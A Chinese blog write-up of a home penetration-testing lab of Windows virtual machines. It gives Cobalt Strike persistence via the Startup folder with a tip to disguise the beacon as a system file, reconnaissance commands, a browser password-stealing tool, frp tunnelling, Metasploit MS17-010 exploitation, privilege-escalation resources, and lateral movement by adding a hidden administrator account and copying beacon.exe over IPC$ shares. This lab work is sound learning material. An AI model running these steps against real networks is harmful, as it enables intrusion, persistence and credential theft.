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主体实验框架是参考的先知社区一个大佬的思路（id:ajie）

1 (环境搭建+web层面渗透)
内网渗透初探(靶场环境搭建+web层面实验+内网基本操作)_叶子的Blog-CSDN博客

这一部分就参考我上一篇半成品文章吧，搭建有什么问题可以在评论区留言，我就不一一写出来了。

操作系统 IP地址

攻击者 kali IP地址：192.168.3.10

攻击者 Windows 10 IP地址：192.168.3.16

windows 7 外网地址：192.168.3.129 内网地址：192.168.52.143

windows 2008 IP地址：192.168.52.138

windows 2003 IP地址：192.168.52.141

2 Getshell

https://blog.csdn.net/qq_38850916
https://blog.csdn.net/qq_38850916/category_11414921.html
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_38850916/article/details/122703894
https://blog.csdn.net/qq_38850916/category_11414921.html
https://blog.csdn.net/qq_38850916/article/details/122525456?spm=1001.2014.3001.5502


3 CS上线

4 权限维持



4.1 设置延迟时间

这里搞到你想要延迟的时间，我感觉越久越安全，我也没实战过，因为是自己的靶场，所以我设置的比较短，

就设置为2秒了

4.2 进程迁移 



 这里就获取了一个基于phpstudy.exe的shell

 4.3 设置启动项



1、将需要执行的exe文件复制到启动文件夹下即可。
复制到的路径是windows启动路径，当系统重启之后，会默认运行里面的程序

shell copy "artifacat.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"

这种就是比较容易被发现，可以把文件的名字改一改，改成比较像系统文件，被发现也不敢瞎删。

5 主机信息收集

CS中：shell+命令即可
//主机信息
systeminfo
//网络信息
ipconfig /all
//路由表
arp -a
//进程，查AV
tasklist
//端口占用情况
netstat -ano
//是否域环境
net user /domain
//是否出网
ping baidu.com -n 2

我在这里通过ipconfig /all 可以获取到web主机的内网ip192.168.52.143



抓取浏览器保存的密码，以及横向目标主机

GitHub - QAX-A-Team/BrowserGhost: 这是一个抓取浏览器密码的工具，后续会添加更多功能

https://github.com/QAX-A-Team/BrowserGhost


6 搭建一个通信隧道

6.1 frp

下载地址

https://github.com/fatedier/frp/releases/tag/v0.38.0

配置frps.ini

执行frps.exe -c frps.ini

 

在靶机执行frpc.exe -c frpc.ini

然后在服务器端也可以看到成功监听

设置proxifier指向服务器，注意设置账号密码(或者直接在火狐浏览器这里设置代理)

https://github.com/fatedier/frp/releases/tag/v0.38.0


这样就能访问内网的ip了

7 横向移动1

7.1 利用msf进行内网信息收集一波

msf设置代理

setg Proxies socks5:192.168.3.16:7777

搜索smb

search smb/smb



使用第18个，进行端口扫描

use 18
set rhosts 192.168.52.413/24
set threads 20
run

 扫到了两台内网主机！（其实还有一个138，我虚拟机忘了把138这个主机开机了。。。。）

7.2 利用msf进行提权另一台内网主机并执行cmd

使用  ms17_010_command 提权（利用该模块可以在存在漏洞的主机上执行cmd命令）

search ms17_010
use x(这个是找那个有command的，我就不上截图了)
set rhosts 192.168.52.138
run



8 内网信息收集

8.1 存活主机探测

基于netbios协议

脚本小子上线nbtscan，直接传到肉鸡上，运行就行了

Release nbtscan-v1.5.2-2394b4 · lifenjoiner/nbtscan · GitHub

基于ICMP协议

for /l %i in (1,1,255) do @ ping 192.168.52.%i -w 1 -n 1|find /i "ttl="

工具: ping命令
相当于使用ping来探测主机存活（特点就是慢。。。）

基于ARP协议

工具: arp-scan.exe
下载地址：

GitHub - QbsuranAlang/arp-scan-windows-: send arp request to whole specific LAN
将文件上传到目标主机上，执行如下命令：

arp-scan.exe -t 【ip/ip段】

9 提权

9.1 内核提权

查询安装的补丁情况，通过在线工具查询可能存在的内核提权

获取安装补丁的方法：

1、systeminfo
systeminfo | findstr KB

https://github.com/lifenjoiner/nbtscan/releases/tag/nbtscan-v1.5.2-2394b4
https://github.com/QbsuranAlang/arp-scan-windows-


复制补丁号进行查询

在线网站：

提权辅助网页

提权辅助网页 Windows提权辅助
Windows Privilege Escalation Exploit Search -- Windows 提权辅助

exp下载地址也可以直接看github
GitHub - Al1ex/WindowsElevation: Windows Elevation(持续更新)

9.2 potato提权

potato.exe -p "需要执行的命令"

10 横向移动2
 CS生成木马

http://bugs.hacking8.com/tiquan/
https://i.hacking8.com/tiquan/
http://blog.neargle.com/win-powerup-exp-index/
https://github.com/Al1ex/WindowsElevation


生成一个新的监听器

 生成一个后门先传到web服务器上

在web服务器上创建一个新用户



shell net user biu Pass!@#4 /add
shell net localgroup administrators biu /add

然后在 web服务器 执行cmd命令开启共享

shell net use \\192.168.52.141\ipc$ Pass!@#4 /user:biu

 然后进入141主机的目录

shell dir \\192.168.52.141\c$

上传到主机 

shell copy C:\phpStudy\WWW\yxcms\beacon.exe \\192.168.52.138\c$

然后利用msf执行木马
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